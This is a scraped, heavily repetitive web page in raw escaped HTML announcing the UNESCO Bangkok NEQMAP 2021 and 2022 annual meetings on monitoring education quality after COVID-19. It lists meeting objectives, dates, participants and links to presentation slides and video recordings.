href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-The-role-of-Learning-Progressions-in-global-education-monitoring.pdf\" target=\"_blank\">The role of Learning Progressions in global education monitoring<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/Wellbeing-assessment_Zhao.pdf\" target=\"_blank\">Education for flourishing: Perspective and practice in well-being assessment<\/a> Video Recordings:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/drive.google.com\/file\/d\/1rzod9xwHQ_b59_WHkwUKxEsOjsHFGqL9\/view?usp=share_link\" target=\"_blank\">Updates on the 4th<\/sup> and 5th<\/sup> editions of PILNA<\/a><\/p>\n\n\n\n<iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/videoseries?controls=0&list=PLWuYED1WVJIMC0seHrLq3jmv8zodwnSJI\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\"><\/iframe>\n\n\n\nNote: This meeting is not open to the public.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic. Those active in NEQMAP activities over the past several years are strongly encouraged to attend.<\/p>\n\n\n\nMeeting Files from the Secretariat:<\/strong> - <a href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EU6kROkWudVMjZpjIef37fsBbSphc4iMwhYK-7HJkt1R0A?e=DbofOd\">Agenda<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EZnYLvE3S9xDkKrKGoYwzXwB7L0sFkxRa3F0RJgfig8zyA?e=FHESJ3\" target=\"_blank\">Speakers' List<\/a><\/p>\n\n\n\nSlide Presentations:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP-Activities-update-2022.pdf\" target=\"_blank\">NEQMAP\u2019s activities in 2022 and major 2022 education events in Asia-Pacific<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Bangkok-Statement-and-TES.pdf\" target=\"_blank\">NEQMAP\u2019s role and contributions in advancing countries\u2019 commitments to improving learning for all (Bangkok Statement 2022 and Transforming Education Summit follow-up)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP_ACER_India_2022_v1.1.pdf\" target=\"_blank\">Bringing policy to classrooms: Supporting teachers on criterion-referenced assessments in the National Capital Territory of Delhi<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Deviram-Acharya-Presentation.pdf\" target=\"_blank\">Classroom Assessment for Enhancing Learning and Recovery in Nepal<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-Priority-areas-Soumaya-.pdf\" target=\"_blank\">Identifying priority areas of work for NEQMAP 2023<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-AndreasWhatsNewPISA.pdf\" target=\"_blank\">What\u2019s new in PISA 2025<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/SEA-PLM-PPT-NEQMAP-as-of-13-December-2022.pdf\" target=\"_blank\">Monitoring and Developing ASEAN Basic Education: The New Phase of the Southeast Asia Primary Learning Metrics (SEA-PLM)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-The-role-of-Learning-Progressions-in-global-education-monitoring.pdf\" target=\"_blank\">The role of Learning Progressions in global education monitoring<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/Wellbeing-assessment_Zhao.pdf\" target=\"_blank\">Education for flourishing: Perspective and practice in well-being assessment<\/a> Video Recordings:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/drive.google.com\/file\/d\/1rzod9xwHQ_b59_WHkwUKxEsOjsHFGqL9\/view?usp=share_link\" target=\"_blank\">Updates on the 4th<\/sup> and 5th<\/sup> editions of PILNA<\/a><\/p>\n\n\n\n<iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/videoseries?controls=0&list=PLWuYED1WVJIMC0seHrLq3jmv8zodwnSJI\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\"><\/iframe>\n\n\n\nNote: This meeting is not open to the public.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic. Those active in NEQMAP activities over the past several years are strongly encouraged to attend.<\/p>\n\n\n\nMeeting Files from the Secretariat:<\/strong> - <a href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EU6kROkWudVMjZpjIef37fsBbSphc4iMwhYK-7HJkt1R0A?e=DbofOd\">Agenda<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/unesco.sharepoint.com\/:b:\/s\/UNESCOBangkokTeam\/EZnYLvE3S9xDkKrKGoYwzXwB7L0sFkxRa3F0RJgfig8zyA?e=FHESJ3\" target=\"_blank\">Speakers' List<\/a><\/p>\n\n\n\nSlide Presentations:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP-Activities-update-2022.pdf\" target=\"_blank\">NEQMAP\u2019s activities in 2022 and major 2022 education events in Asia-Pacific<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Bangkok-Statement-and-TES.pdf\" target=\"_blank\">NEQMAP\u2019s role and contributions in advancing countries\u2019 commitments to improving learning for all (Bangkok Statement 2022 and Transforming Education Summit follow-up)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-NEQMAP_ACER_India_2022_v1.1.pdf\" target=\"_blank\">Bringing policy to classrooms: Supporting teachers on criterion-referenced assessments in the National Capital Territory of Delhi<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/2-Deviram-Acharya-Presentation.pdf\" target=\"_blank\">Classroom Assessment for Enhancing Learning and Recovery in Nepal<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-Priority-areas-Soumaya-.pdf\" target=\"_blank\">Identifying priority areas of work for NEQMAP 2023<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-AndreasWhatsNewPISA.pdf\" target=\"_blank\">What\u2019s new in PISA 2025<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/SEA-PLM-PPT-NEQMAP-as-of-13-December-2022.pdf\" target=\"_blank\">Monitoring and Developing ASEAN Basic Education: The New Phase of the Southeast Asia Primary Learning Metrics (SEA-PLM)<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/1-The-role-of-Learning-Progressions-in-global-education-monitoring.pdf\" target=\"_blank\">The role of Learning Progressions in global education monitoring<\/a> - <a rel=\"noreferrer noopener\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2022\/12\/Wellbeing-assessment_Zhao.pdf\" target=\"_blank\">Education for flourishing: Perspective and practice in well-being assessment<\/a> Video Recordings:<\/strong> - <a rel=\"noreferrer noopener\" href=\"https:\/\/drive.google.com\/file\/d\/1rzod9xwHQ_b59_WHkwUKxEsOjsHFGqL9\/view?usp=share_link\" target=\"_blank\">Updates on the 4th<\/sup> and 5th<\/sup> editions of PILNA<\/a><\/p>\n\n\n\n<iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/videoseries?controls=0&list=PLWuYED1WVJIMC0seHrLq3jmv8zodwnSJI\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen=\"\"><\/iframe>\n\n\n\nNote: This meeting is not open to the public.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

